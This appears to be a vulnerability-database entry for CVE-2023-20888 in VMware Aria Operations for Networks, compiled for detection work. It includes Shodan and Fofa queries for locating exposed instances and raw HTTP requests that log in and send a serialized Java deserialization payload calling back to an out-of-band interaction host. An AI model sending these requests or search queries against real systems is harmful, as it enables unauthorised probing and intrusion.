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CVE-2023-20888: VMware Aria Operations for Networks - Remote Code Execution

TitleVMware Aria Operations for Networks - Remote Code Execution
Authoriamnoooob,rootxharsh,pdresearch
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationApply the latest security patches or updates provided by VMware to mitigate this vulnerability.
CVSS Score8.8
EPSS Score0.90925
CVE IDCVE-2023-20888
CWE IDCWE-502
Shodan Querytitle:"VMware Aria Operations"http.title:"vmware vrealize network insight"http.title:"vmware aria operations"
Fofa Querytitle="vmware vrealize network insight"title="vmware aria operations"
Tags cve2023 cve vmware aria rce authenticated oast vuln

🔍 Vulnerability Description

Aria Operations for Networks contains an authenticated deserialization vulnerability. A malicious actor with network access to VMware Aria Operations for Networks and valid ‘member’ role credentials may be able to perform a deserialization attack resulting in remote code execution.

🌐 HTTP Request

POST /api/auth/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.25 (KHTML, like Gecko) Version/3.2 Safari/525.25
Connection: close
Content-Length: 64
Content-Type: application/json;charset=UTF-8
X-Vrni-Csrf-Token: null
Accept-Encoding: gzip

{"username":"HcBHMt","password":"scW3jT","domain":"localdomain"}
POST /api/events/push-notifications HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15
Connection: close
Content-Length: 474
Content-Type: application/json
X-Vrni-Csrf-Token: BZD8l7
Accept-Encoding: gzip

{"endOffset": "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALWQ1amtpOWhsZTBvNHRkMGtlMHNnam5jdHhyZmllYXBqei5vYXN0Lm9ubGluZXQAAHEAfgAFdAAEaHR0cHB4dAA0aHR0cDovL2Q1amtpOWhsZTBvNHRkMGtlMHNnam5jdHhyZmllYXBqei5vYXN0Lm9ubGluZXg= "}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-20888.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-20888.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A